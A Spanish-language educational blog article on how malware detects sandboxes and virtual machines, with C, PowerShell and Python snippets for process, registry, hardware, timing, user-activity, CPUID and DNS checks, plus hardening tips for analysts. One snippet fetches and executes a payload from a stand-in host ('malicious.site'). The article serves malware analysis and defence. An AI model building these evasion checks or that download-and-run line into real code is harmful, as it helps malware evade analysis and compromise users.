Cómo el malware detecta sandboxes y máquinas virtuales: Técnicas y ejemplos

En el mundo de la ciberseguridad, una de las estrategias más importantes para analizar y entender cómo funciona un malware es ejecutarlo en un entorno controlado, como una sandbox (caja de arena) o una máquina virtual (VM). Sin embargo, los desarrolladores de malware lo saben muy bien, y por eso han creado métodos sofisticados para detectar cuándo están siendo observados. En este artículo, exploraremos de forma sencilla y con ejemplos reales, cómo el malware puede detectar si se está ejecutando en un entorno de virtualización o análisis.

¿Qué es una sandbox o una máquina virtual?

Antes de entrar en detalles, aclaremos estos conceptos:

• Máquina virtual (VM): Es un software que emula un sistema operativo completo. Permite ejecutar un sistema operativo (como Windows o Linux) dentro de otro, aislado del resto. Ejemplos: VirtualBox, VMware, Hyper-V.
• Sandbox: Es un entorno seguro donde se ejecuta software (como un malware) para observar su comportamiento. Suele estar muy automatizado y monitorea cosas como accesos a archivos, red, procesos, etc.

Los analistas de malware usan estas herramientas para "engañar" al malware y ver qué hace. Pero los creadores de malware quieren evitar ser descubiertos. ¿Cómo lo hacen? Veámoslo.

¿Por qué los malware detectan las sandboxes?

Detectar una VM o una sandbox permite al malware:

• Evitar ser analizado.
• No ejecutar el payload o carga útil real si se detecta que está siendo observado.
• Cambiar su comportamiento dependiendo del entorno.
• Burlar sistemas automáticos de detección como antivirus basados en comportamiento.

Técnicas de detección de entornos de virtualización

A continuación, te presento las principales técnicas que usan los malware para detectar si están siendo ejecutados en un entorno de análisis.

No sin antes mostrar una serie de análisis en la plataforma Any.run en donde podemos encontrar todo lo que se va a ver en el artículo, os los dejo en referencias al final del mismo por si queréis profundizar en alguno de ellos.

1. Detección de procesos y servicios sospechosos

Algunas sandboxes o entornos de análisis ejecutan servicios o procesos conocidos. El malware puede buscar procesos como:

• vmsrvc.exe (VMware)
• vmtoolsd.exe (VMware Tools)
• VBoxService.exe (VirtualBox Guest Additions)
• Wireshark.exe (herramienta de análisis de red)
• ollydbg.exe, x64dbg.exe (debuggers)

Una de las formas más comunes que usan los malware para comprobar si están siendo ejecutados en una sandbox es revisar los procesos en ejecución en el sistema. Esto les permite buscar herramientas típicas de análisis como las que se muestran en la captura.

La forma más habitual de hacerlo en sistemas Windows es utilizando tres funciones de la API de Windows:

• CreateToolhelp32Snapshot: Toma una "foto" de los procesos actuales del sistema.
• Process32First: Obtiene el primer proceso de la lista.
• Process32Next: Recorre el resto de los procesos.

Estas funciones permiten al malware enumerar todos los procesos activos y buscar nombres sospechosos.

Ejemplo en código en C:

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
 
if (Process32First(hSnapshot, &pe)) {
    do {
        if (strcmp(pe.szExeFile, "VBoxService.exe") == 0) {
            ExitProcess(0); // Detectado entorno virtual
        }
    } while (Process32Next(hSnapshot, &pe));
}

2. Inspección de drivers o dispositivos del sistema

El malware puede mirar los drivers instalados o los dispositivos virtuales que delatan un entorno de virtualización.

En lugar de intentar abrir el archivo, lo cual podría generar alertas o errores, el malware simplemente consulta sus atributos usando la función GetFileAttributesA de la API de Windows como se verá en la siguiente captura.

Devuelve los atributos del archivo o carpeta especificada. Si el archivo no existe, la función devuelve INVALID_FILE_ATTRIBUTES. Esto permite al malware detectar de forma muy discreta si ciertos archivos están presentes.

Archivos típicos que se buscan:

• C:\Windows\System32\drivers\VBoxMouse.sys (VirtualBox)
• C:\Windows\System32\drivers\vmhgfs.sys (VMware)
• C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
• C:\Windows\System32\vboxservice.exe

Este tipo de detección es muy utilizada porque no necesita privilegios especiales y funciona en prácticamente todas las versiones de Windows.

Código en PowerShell para detectarlos:

Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -like "*vm*" }

3. Detección de artefactos del sistema de archivos o del registro

Una de las formas más sencillas y efectivas que utilizan los malware para detectar si están en un entorno de virtualización o sandbox es buscar huellas o “artefactos” en el sistema de archivos y en el registro de Windows. Estas huellas son elementos que suelen dejar las herramientas de virtualización o análisis y que no suelen aparecer en ordenadores reales.

¿Qué tipo de artefactos se buscan?

• Archivos específicos

 instalados por programas como VMware, VirtualBox, QEMU o herramientas de análisis.

• Entradas del registro de Windows que indican que el sistema está siendo emulado o monitorizado.

Ejemplos comunes de archivos sospechosos:

Ejemplos comunes de claves del registro:

¿Cómo lo detecta el malware?

El malware puede utilizar funciones como:

• GetFileAttributesA → Para saber si un archivo existe sin abrirlo.
• RegOpenKeyEx y RegQueryValueEx → Para leer el registro de Windows.

Ejemplo de detección con GetFileAttributesA:

if (GetFileAttributesA("C:\\Windows\\System32\\VBoxControl.exe") != INVALID_FILE_ATTRIBUTES) {
    ExitProcess(0); // Se detectó VirtualBox
}

Ejemplo de detección del registro en C:

HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
    RegCloseKey(hKey);
    ExitProcess(0); // VirtualBox detectado
}

4. Verificación del hardware (CPU, RAM, disco)

Una de las formas más comunes que usan los malware para detectar entornos artificiales como máquinas virtuales o sandboxes es comprobar los recursos de hardware disponibles. Esto se debe a que muchas veces estos entornos tienen:

• Poca memoria RAM (1 o 2 GB)
• Solo 1 núcleo de CPU
• Poco espacio en disco (menos de 100 GB)

El malware sabe que esto es típico de entornos de análisis mal configurados o automatizados. En cambio, los equipos reales suelen tener más recursos.

Por lo tanto, ¿Qué recursos suele comprobar el malware?

• Memoria RAM total del sistema.
• Espacio libre o total del disco principal.
• Número de núcleos de CPU.

¿Cómo lo hace en la práctica?

Vamos a ver un fragmento de código real, muy similar a lo que utilizan muchos malware (incluidos algunos ransomware y troyanos bancarios):

¿Qué está haciendo este código?

1.   GlobalMemoryStatusEx obtiene la memoria RAM total. : Si hay menos de 4 GB, se considera sospechoso.

2.   GetDiskFreeSpaceExA comprueba el tamaño del disco C:\ : Si hay menos de 100 GB de espacio, también es sospechoso.

3.   GetSystemInfo obtiene el número de procesadores lógicos (núcleos): Si hay 1 núcleo o menos, el entorno es considerado artificial.

Curiosamente, es una de las comprobaciones que se realizan en Any.run con lo que es detectada la plataforma.

Ejemplo de detección en C:

DisplayDevice.cb = 64;
GlobalMemoryStatusEx((LPMEMORYSTATUSEX)&DisplayDevice);
if ( *(_QWORD *)&DisplayDevice.DeviceName[4] >> 20 <= 0x1000ui64 )
{
    // Menos de 4 GB de RAM → sospechoso
    strcat_s(lpThreadParameter + 16, 0x400ui64, "Low memory (<=4GB);");
}

// Comprobación de tamaño de disco
if ( GetDiskFreeSpaceExA("C:\\", (PULARGE_INTEGER)&Size, (PULARGE_INTEGER)&hKey, (PULARGE_INTEGER)&DisplayDevice)
    && HIDWORD(hKey) < 0x19 )
{
    // Menos de 100 GB de espacio en disco → sospechoso
    strcat_s(lpThreadParameter + 16, 0x400ui64, "Small disk (<100GB);");
}

// Comprobación del número de CPUs
GetSystemInfo((LPSYSTEM_INFO)&DisplayDevice);
if ( *(_DWORD *)&DisplayDevice.DeviceName[28] <= 1u )
{
    // Solo 1 núcleo → muy típico en VMs
    strcat_s(lpThreadParameter + 16, 0x400ui64, "Too few CPU cores;");
}

5. Consulta del nombre del sistema, usuario o red

Algunas sandboxes tienen nombres genéricos como:

• Nombre de máquina: SANDBOX-PC, JOHN-PC, ANALYSIS-PC
• Nombre de usuario: admin, user, test

El malware puede comprobar esto, cambio de lenguaje, así vemos más variedad:

Ejemplo de detección en Powershell:

$computerName = $env:COMPUTERNAME
if ($computerName -like "*SANDBOX*") { exit }

6. Detección de tiempos anormales (timing attacks)

Una técnica avanzada pero muy utilizada por malware es la detección de anomalías en el tiempo de ejecución. En una sandbox o una máquina virtual, las operaciones pueden ser más lentas o no reflejar el tiempo real debido a:

• La monitorización constante de llamadas al sistema.
• La emulación de hardware.
• Interrupciones artificiales que ralentizan el sistema.

El malware puede aprovechar estas inconsistencias para detectar que no está en un entorno “normal”.

¿Cómo detecta el malware estas anomalías?

Utilizando funciones que miden el tiempo real, y comparando el resultado contra lo esperado. Si la ejecución de una instrucción simple (como Sleep(1)) tarda más de lo normal, o si la precisión del reloj de alto rendimiento es inconsistente, el malware lo interpreta como una señal de sandbox.

Veamos un ejemplo real adaptado de código malicioso:

QueryPerformanceCounter((LARGE_INTEGER *)&hKey); // Medida de alta precisión

// Cálculo basado en diferencia de tiempo y precisión del reloj
if ((double)((int)hKey - (int)Size) / (double)(int)DisplayDevice.cb > 0.1
    || (TickCount = GetTickCount(), Sleep(1), GetTickCount() - TickCount > 100))
{
    strcat_s(lpThreadParameter + 16, 0x400ui64, "Timing anomaly;");
}

¿Qué está haciendo este código?

1.   QueryPerformanceCounter mide el tiempo con alta precisión (basado en el hardware).

•  Se compara contra otros valores para ver si hay saltos extraños o lentitud.

2.   Sleep(1) + GetTickCount simula una espera de 1 milisegundo.

• Si la diferencia entre el tiempo antes y después del Sleep es mayor a 100 ms, es un indicio de que el entorno no se comporta con normalidad.

¿Por qué es sospechoso?

Porque en un entorno real, dormir 1 ms debería demorar entre 1 y 15 ms, dependiendo del temporizador del sistema. Si la diferencia supera los 100 ms (como en este ejemplo), significa que:

• El sistema puede estar siendo emulado.
• Hay una interferencia del entorno de análisis.
• El tiempo ha sido manipulado (acelerado o ralentizado).

Otro ejemplo de detección en Python:

import time
start = time.time()
time.sleep(5)
end = time.time()

if end - start < 5:
    # El entorno está acelerando el tiempo
    exit()

7. Interacción con el usuario (detección de inactividad)

Una de las formas más inteligentes de detectar si un malware está siendo analizado en una sandbox es comprobar si hay actividad humana real. La mayoría de las sandboxes no mueven el ratón, no escriben con el teclado y no hacen clics, por lo que un malware puede esperar y observar si el usuario está presente antes de activarse.

¿Cómo detecta el malware la inactividad?

El malware utiliza funciones estándar de Windows que permiten saber:

• La posición actual del ratón.
• El tiempo desde el último clic.
• Si se están generando eventos de teclado o ratón.
• La velocidad o frecuencia de los movimientos.

Si en varios segundos no detecta interacción, el malware puede asumir que está en una sandbox y no ejecutarse.

Principales funciones de la API de Windows utilizadas

Los fragmentos de código que compartiste emplean principalmente estas funciones clave:

Podemos observar como en este caso es detectado en Any.run, aunque es aposta, ya que el usuario puede mover el ratón según le convenga.

Ejemplo 1: Detección de movimiento del ratón en 3 segundos

POINT prev, curr;
prev.x = prev.y = 0;
DWORD totalTime = 3000; // 3 segundos
DWORD interval = 100;   // cada 100 ms

while (totalTime) {
    GetCursorPos(&curr);
    if (prev.x != 0 && prev.y != 0) {
        if (curr.x != prev.x || curr.y != prev.y) {
            return 0; // Se detectó movimiento → hay usuario
        }
    }
    prev = curr;
    Sleep(interval);
    totalTime -= interval;
}
return 1; // Sin movimiento → probablemente sandbox

Ejemplo 2: Detección de movimientos "humanos" (no aleatorios ni mínimos)

POINT prev, curr;
int umbralX = GetSystemMetrics(SM_CXSCREEN) / 5;
int umbralY = GetSystemMetrics(SM_CYSCREEN) / 5;
DWORD tiempo = 3000;

GetCursorPos(&prev);
while (tiempo) {
    Sleep(10);
    GetCursorPos(&curr);
    if (abs(curr.x - prev.x) > umbralX && abs(curr.y - prev.y) > umbralY) {
        return 1; // Movimiento significativo → hay usuario
    }
    prev = curr;
    tiempo -= 10;
}
return 0; // Sin movimiento real

Ejemplo 3: Captura de eventos con hooks

Este código instala un hook de bajo nivel para capturar eventos del mouse:

SetTimer(0, 0, 3000, TimerFunc); // Espera 3 segundos
hhk = SetWindowsHookExA(WH_MOUSE_LL, callback, 0, 0);

while (GetMessageA(&msg, 0, 0, 0) > 0 && msg.message != WM_USER + 1) {
    TranslateMessage(&msg);
    DispatchMessageA(&msg);
}
KillTimer(0, 0);
UnhookWindowsHookEx(hhk);

if (evento_detectado == 0) {
    return 1; // No hubo clics → sandbox
}

Este tipo de técnica requiere interacción humana real para que el malware continúe.

Técnicas complementarias

Además de GetCursorPos, otros malware usan:

• GetLastInputInfo → Tiempo desde la última entrada del usuario.
• SendInput + GetMessageTime → Para detectar si hay interferencia.
• SystemParametersInfo → Para ver configuraciones típicas de usuarios reales.

Este es un ejemplo en Windows donde se puede consultar el último input del usuario:

LASTINPUTINFO lii;
GetLastInputInfo(&lii);
DWORD idleTime = GetTickCount() - lii.dwTime;

if (idleTime > 300000) { // 5 minutos sin movimiento
    exit();
}

8. Uso de instrucciones de bajo nivel (CPUID, IDTR)

Cuando el malware quiere asegurarse de que no se está ejecutando en una máquina virtual o una sandbox, puede recurrir a técnicas de bajo nivel que consultan directamente el procesador. Estas técnicas son muy difíciles de ocultar o interceptar por las herramientas de virtualización, y por tanto son muy efectivas para detectar entornos de análisis.

Una de las instrucciones más utilizadas es CPUID, una instrucción de la CPU que permite consultar información sobre las capacidades del procesador. Esta información incluye el fabricante, el modelo, extensiones soportadas… e incluso si el procesador está siendo virtualizado.

Detección del bit de hipervisor

Una de las formas más directas de detectar si se está ejecutando en una máquina virtual es comprobar el bit 31 del registro ECX después de ejecutar cpuid con EAX=1. Este bit se conoce como Hypervisor Present Bit. Si está activado, indica que el sistema operativo está siendo ejecutado dentro de un hipervisor (es decir, una máquina virtual).

Ejemplo de código adaptado:

BOOL DetectaHypervisorBit() {
    int ecx;
    __asm {
        mov eax, 1
        cpuid
        mov ecx, ecx
    }
    return (ecx >> 31) & 1;
}

Si esta función devuelve verdadero, es muy probable que el malware esté corriendo dentro de una máquina virtual como VMware, VirtualBox o Hyper-V, lo que podría hacer que no se ejecute o se comporte de forma diferente.

Detección del proveedor del hipervisor

Otra forma común de detección es consultar el nombre del proveedor de virtualización. Al ejecutar cpuid con EAX = 0x40000000, el procesador devuelve una cadena de texto en los registros EBX, ECX y EDX que identifica el hipervisor (si hay uno presente).

Este nombre puede ser, por ejemplo:

• "Microsoft Hv" (cuando se ejecuta sobre Hyper-V)
• "VMwareVMware" (para VMware)
• "XenVMMXenVMM" (para Xen)
• "KVMKVMKVM" (para KVM)

Ejemplo adaptado de esta detección:

BOOL DetectaProveedorVM() {
    int eax, ebx, ecx, edx;
    eax = 0x40000000;
    __asm {
        mov eax, 0x40000000
        cpuid
        mov ebx, ebx
        mov ecx, ecx
        mov edx, edx
    }

    char hypervisorID[13];
    memcpy(&hypervisorID[0], &ebx, 4);
    memcpy(&hypervisorID[4], &ecx, 4);
    memcpy(&hypervisorID[8], &edx, 4);
    hypervisorID[12] = '\0';

    // Comparar contra proveedores conocidos
    if (strcmp(hypervisorID, "Microsoft Hv") == 0 ||
        strcmp(hypervisorID, "VMwareVMware") == 0 ||
        strcmp(hypervisorID, "XenVMMXenVMM") == 0 ||
        strcmp(hypervisorID, "KVMKVMKVM") == 0)
    {
        return TRUE; // Se detecta virtualización
    }
    return FALSE;
}

Este tipo de técnica es más avanzada que simplemente mirar procesos o ficheros, y suele usarse en malware más sofisticado, ya que requiere conocimientos de bajo nivel sobre cómo funciona la arquitectura x86.

9. Verificación de MAC address (tarjetas de red virtuales)

Las interfaces de red virtuales suelen tener direcciones MAC que delatan su origen. Ejemplo:

• 00:05:69 (VMware)
• 08:00:27 (VirtualBox)

El malware puede listar las interfaces de red y verificar si alguna tiene estas direcciones.

Ejemplo de detección en Python:

import uuid
mac = hex(uuid.getnode())
if mac.startswith("0x800027"):
    exit()

10. Revisión de nombres de BIOS o fabricantes

El malware puede consultar si el BIOS o el fabricante del sistema es sospechoso.

Ejemplos sospechosos:

• BIOS: VirtualBox, VMware, QEMU
• Fabricante: innotek GmbH, Microsoft Corporation

Ejemplo de detección en PowerShell:

Get-WmiObject win32_bios | Select-Object SerialNumber, Manufacturer, SMBIOSBIOSVersion

Otras técnicas avanzadas

11. Captura del entorno gráfico

Los entornos de análisis (como sandboxes) suelen usar configuraciones gráficas mínimas para ahorrar recursos. El malware puede aprovechar esta información para detectar si se encuentra en un entorno real o simulado.

Indicadores comunes que se comprueban:

• Resoluciones de pantalla muy bajas (800×600 o 1024×768).
• Falta de fondo de pantalla (wallpaper vacío).
• Uso de adaptadores genéricos o nombres sospechosos en los dispositivos gráficos.
• Sólo un monitor activo.
• Paleta de colores limitada.

Estas condiciones pueden indicar que se está ejecutando en un entorno artificial, y algunos malware optan por no ejecutarse si las detectan.

Ejemplo 1: Comprobación de resolución de pantalla

Una resolución inusualmente baja puede indicar un entorno automatizado.

BOOL EsResolucionSospechosa() {
    int width = GetSystemMetrics(SM_CXSCREEN);
    int height = GetSystemMetrics(SM_CYSCREEN);
 
    // Si es menor que HD estándar
    if (width < 1024 || height < 768) {
        return TRUE;
    }
    return FALSE;
}

Ejemplo 2: Verificar fondo de pantalla

En muchos entornos sandbox el fondo de pantalla está desactivado (cadena vacía o con valor por defecto).

BOOL FondoDePantallaVacio() {
    char wallpaperPath[MAX_PATH] = {0};
    SystemParametersInfoA(SPI_GETDESKWALLPAPER, MAX_PATH, wallpaperPath, 0);
 
    if (strlen(wallpaperPath) == 0) {
        return TRUE;
    }
    // Opcional: comprobar si es el fondo por defecto de Windows
    if (strstr(wallpaperPath, "wallpaper") || strstr(wallpaperPath, "default")) {
        return TRUE;
    }
    return FALSE;
}

Ejemplo 3: Comprobación del número de monitores

Una máquina real a menudo tiene dos o más monitores conectados. Las sandboxes típicamente solo configuran uno.

BOOL SoloUnMonitor() {
    return GetSystemMetrics(SM_CMONITORS) <= 1;
}

Ejemplo 4: Obtener nombre del adaptador gráfico

Los entornos virtualizados a menudo muestran nombres como "VMware SVGA", "VirtualBox Graphics Adapter" o "Microsoft Basic Display Adapter".

BOOL AdaptadorSospechoso() {
    DISPLAY_DEVICEA dd;
    dd.cb = sizeof(dd);
 
    if (EnumDisplayDevicesA(NULL, 0, &dd, 0)) {
        if (strstr(dd.DeviceString, "VirtualBox") ||
            strstr(dd.DeviceString, "VMware") ||
            strstr(dd.DeviceString, "Microsoft Basic")) {
            return TRUE;
        }
    }
    return FALSE;
}

Ejemplo 5: Captura de pantalla (screen grab)

Algunos malware toman una imagen de la pantalla y analizan colores, píxeles o si hay "activity" (por ejemplo, ventanas abiertas, movimiento, etc.).

BOOL CapturaPantallaYAnaliza() {
    HDC hdcScreen = GetDC(NULL);
    HDC hdcMem = CreateCompatibleDC(hdcScreen);
    HBITMAP hbm = CreateCompatibleBitmap(hdcScreen, 200, 200);  // Pequeño trozo
 
    SelectObject(hdcMem, hbm);
    BitBlt(hdcMem, 0, 0, 200, 200, hdcScreen, 0, 0, SRCCOPY);
 
    // Aquí se podrían analizar los píxeles con GetPixel u otras técnicas
    // Por ejemplo, contar cuántos píxeles son completamente negros
 
    DeleteObject(hbm);
    DeleteDC(hdcMem);
    ReleaseDC(NULL, hdcScreen);
 
    return FALSE; // En este ejemplo no se realiza el análisis real
}

12. Comprobación de conectividad real

Uno de los métodos más eficaces para detectar si se está en una sandbox o entorno controlado es probar si se tiene acceso real y sin restricciones a Internet. Las sandboxes suelen:

• Bloquear conexiones externas.
• Redirigir todo el tráfico a herramientas de simulación como INetSim.
• Resolver nombres de dominio con DNS locales falsos o manipulados.

El malware puede aprovechar esto para comprobar:

1. Si puede hacer conexiones TCP/UDP reales.

2.   Si los dominios específicos resuelven como se espera.

3.   Si las respuestas DNS son falsas (por ejemplo, todas apuntan a 127.0.0.1).

4.   Si el tiempo de respuesta es muy bajo o sospechosamente igual (lo que sugiere respuestas locales simuladas).

Ejemplo 1: Conexión simple a IP conocida (Google DNS)

import socket
try:
    socket.create_connection(("8.8.8.8", 53), timeout=3)
except:
    exit()  # No hay conectividad real, podría estar en sandbox

Esto es simple pero efectivo. Si no puede alcanzar 8.8.8.8 (DNS de Google), puede deducir que está aislado.

Ejemplo 2: Consulta DNS sobre HTTPS (DoH)

 import requests
response = requests.get("https://dns.google/resolve?name=dominio_malicioso.com")
if "18.219.X.X" in response.text:
    print("Conectividad real confirmada. Ejecutando payload.")
else:
    exit()

¿Qué hace esto exactamente?

• El malware no depende del resolver del sistema operativo (que puede estar manipulado).
• Consulta directamente a Google DNS vía HTTPS, lo cual es difícil de interceptar por herramientas como INetSim.
• Si la respuesta contiene una IP esperada, se considera que está en un entorno real.

Esto evita la detección o alteración que muchas sandboxes hacen al interceptar llamadas a gethostbyname, getaddrinfo, etc.

Ejemplo 3: Verificación de dominios "marcadores" o canary domains

El malware puede usar dominios controlados por el atacante (como dominio_malicioso.com) para:

• Ver si se resuelven correctamente.
• Comprobar si son redirigidos a una IP conocida del sandbox (como 10.0.2.15 o 127.0.0.1).
• Ver si no se resuelven en absoluto (lo que indica bloqueo o DNS local falso).

 Ejemplo 4: Tiempo de respuesta DNS

Si el DNS responde demasiado rápido, es una señal de que no está saliendo a Internet, sino que está siendo interceptado localmente:

import time
import socket
 
start = time.time()
try:
    socket.gethostbyname("google.com")
except:
    exit()
elapsed = time.time() - start
 
if elapsed < 0.01:
    exit()  # Probablemente resolución local/interceptada

Ejemplo 5: Comparar múltiples respuestas DNS

Un truco más avanzado consiste en hacer varias peticiones del mismo dominio y verificar si las respuestas son coherentes. Los entornos simulados a veces responden igual para todo.

import dns.resolver
 
ips = []
for _ in range(3):
    result = dns.resolver.resolve("google.com")
    ips.append(result[0].to_text())
 
if len(set(ips)) == 1:
    print("Respuesta DNS sospechosamente constante")

13. Técnicas de retardo (delayed execution)

El malware espera minutos u horas antes de ejecutarse, sabiendo que muchas sandboxes solo observan durante unos segundos.

En una sandbox, si no se observa actividad maliciosa dentro del tiempo asignado, el análisis termina y el malware pasa desapercibido. 

Técnicas comunes de retardo

1.   Sleep() largo

Sleep(10 * 60 * 1000);  // 10 minutos

2.   Loops inútiles ("sleep loops")

for (int i = 0; i < 0xFFFFFFF; i++) {
    __asm__("nop");
}

3.   Basado en hora real

time_t now = time(NULL);
struct tm *tm_now = localtime(&now);
if (tm_now->tm_hour < 6) {
    exit(0); // Solo ejecuta en horario "de oficina"
}

4.   Comprobación de uptime del sistema

if (uptime < 300) exit(0); // No ejecutar si el sistema se acaba de iniciar

Anti-análisis: Sleep patching y Sleep skipping

Los entornos de análisis modernos (ej. Cuckoo, CAPE) parchean Sleep() para que no se esperen realmente los segundos indicados.
En respuesta, el malware puede hacer comprobaciones como:

DWORD before = GetTickCount();
Sleep(10000);  // 10 segundos
DWORD after = GetTickCount();
 
if ((after - before) < 9500) {
    exit();  // El sleep fue manipulado
}

Ejemplo en Python (entorno controlado)

import time
 
print("Esperando...")
time.sleep(600)  # 10 minutos
print("Ahora ejecuto la carga útil")

Esto haría que la mayoría de sandboxes desistan de analizar el comportamiento.

14. Cifrado o empaquetado del payload

Muchos malware modernos no contienen directamente su carga maliciosa (payload), sino que la empaquetan, cifran o la descargan dinámicamente. Esto les permite ocultar su funcionalidad real hasta que detectan que no están siendo analizados o que están en una máquina real (no virtual, no sandbox).

Esto complica tanto la detección estática (porque el código malicioso está cifrado/comprimido) como la detección dinámica (porque no se ejecuta hasta pasar ciertas condiciones). 

Técnicas comunes

1. Cifrado en memoria (In-Memory Decryption)

• El payload está cifrado en el binario.
• Solo se descifra y ejecuta si no se detectan herramientas como Wireshark, Procmon, INetSim, sandbox, etc.
• Se usan algoritmos simples (XOR, RC4, AES) para no llamar la atención.

for (int i = 0; i < len; i++) {
    decrypted[i] = encrypted[i] ^ key;
}

2. Descarga condicional (Payload Fetching)

• El malware hace una solicitud a un C2 (Command & Control) para descargar el verdadero payload.
• Si detecta un entorno artificial (por ejemplo, una red simulada como INetSim), no descarga nada.

import requests
if not in_sandbox():
    response = requests.get("http://malicious.site/payload.bin")
    execute(response.content)

3.Uso de packers o crypters

El malware está protegido con software como:

• UPX (legítimo pero usado por malware)
•  Themida, VMProtect, Enigma Protector, etc.

Estos packers pueden ocultar el código real hasta que se desempaqueta en tiempo de ejecución.

4. Polimorfismo / Metamorfismo

• Cada instancia del malware tiene un código cifrado distinto.
• Genera cargas con diferentes hashes para evadir firmas YARA o antivirus.

 ¿Qué pueden hacer los analistas para evitar estas detecciones?

• Usar nombres y configuraciones realistas en las VMs.
• Aumentar la memoria RAM y los núcleos para simular un entorno real.
• Cambiar el nombre de procesos y servicios comunes.
• Configurar fondo de pantalla, resolución, nombre de usuario, etc.
• Simular actividad del usuario (ratón, teclado).
• Ocultar drivers, dispositivos y nombres de fabricante con el hardening del entorno.
• Usar múltiples entornos de análisis (dinámico + estático). 

Referencias:

https://evasions.checkpoint.com/

https://github.com/a0rtega/pafish

https[://]app.any.run/tasks/e11592e9-6171-4d53-ac5a-a71cac09c0dc

https[://]app.any.run/tasks/777d9c98-8c0f-4364-b15c-00a7147d2b1a

https[://]app.any.run/tasks/45e477ff-f65c-4f81-b90e-60f4911fbcf4

https[://]app.any.run/tasks/2ce91eeb-211a-41a5-984b-8725c76dbfb0

https[://]app.any.run/tasks/dbffac76-26ec-42fa-9bb3-6a4d5fd9d748

https[://]app.any.run/tasks/364ac0d8-07c6-4976-b7d4-2265fdd38e08

https[://]app.any.run/tasks/23360142-b1f9-48fb-b49e-45ddee773758

https[://]app.any.run/tasks/b965bf51-74e0-4678-af02-e104b43bb589

https[://]app.any.run/tasks/0e58cd94-dc81-440d-bf0d-301851031594

https[://]app.any.run/tasks/1bb7922e-2317-4ede-8849-1d342947eae1

https[://]app.any.run/tasks/3e633620-047d-4753-b96b-fa4b1eae0f26

https[://]app.any.run/tasks/68252d62-5409-4b38-9522-8b0396854f47

https[://]app.any.run/tasks/1d410d0f-b6be-4e95-87e1-1553fd085bf6

https[://]app.any.run/tasks/1dd892ba-923b-4a48-a7f5-3104a6e0a93e

https[://]app.any.run/tasks/a2ec5c94-2801-4670-a0a5-0b308e0ecd19

https[://]app.any.run/tasks/c77df736-5a63-41de-a901-022a2ea18a78

https[://]app.any.run/tasks/cc265a2a-35c5-43cf-a4b9-4f1ba1226641

Conclusión

La detección de entornos virtuales o de análisis es una de las estrategias más comunes y efectivas que emplean los malware modernos para evitar ser descubiertos y estudiados. Como hemos visto (las principales que no todas), existen desde métodos muy simples como comprobar el nombre del equipo, hasta técnicas complejas usando instrucciones de bajo nivel del procesador.

Conocer estas técnicas es esencial para los analistas de malware, los desarrolladores de herramientas de sandboxing, y cualquier persona interesada en la seguridad informática. Espero que os haya sido útil para comprender mejor este fascinante y desafiante mundo de la detección por parte del malware de entornos virtualizados o de sandbox.

 Hasta otra!!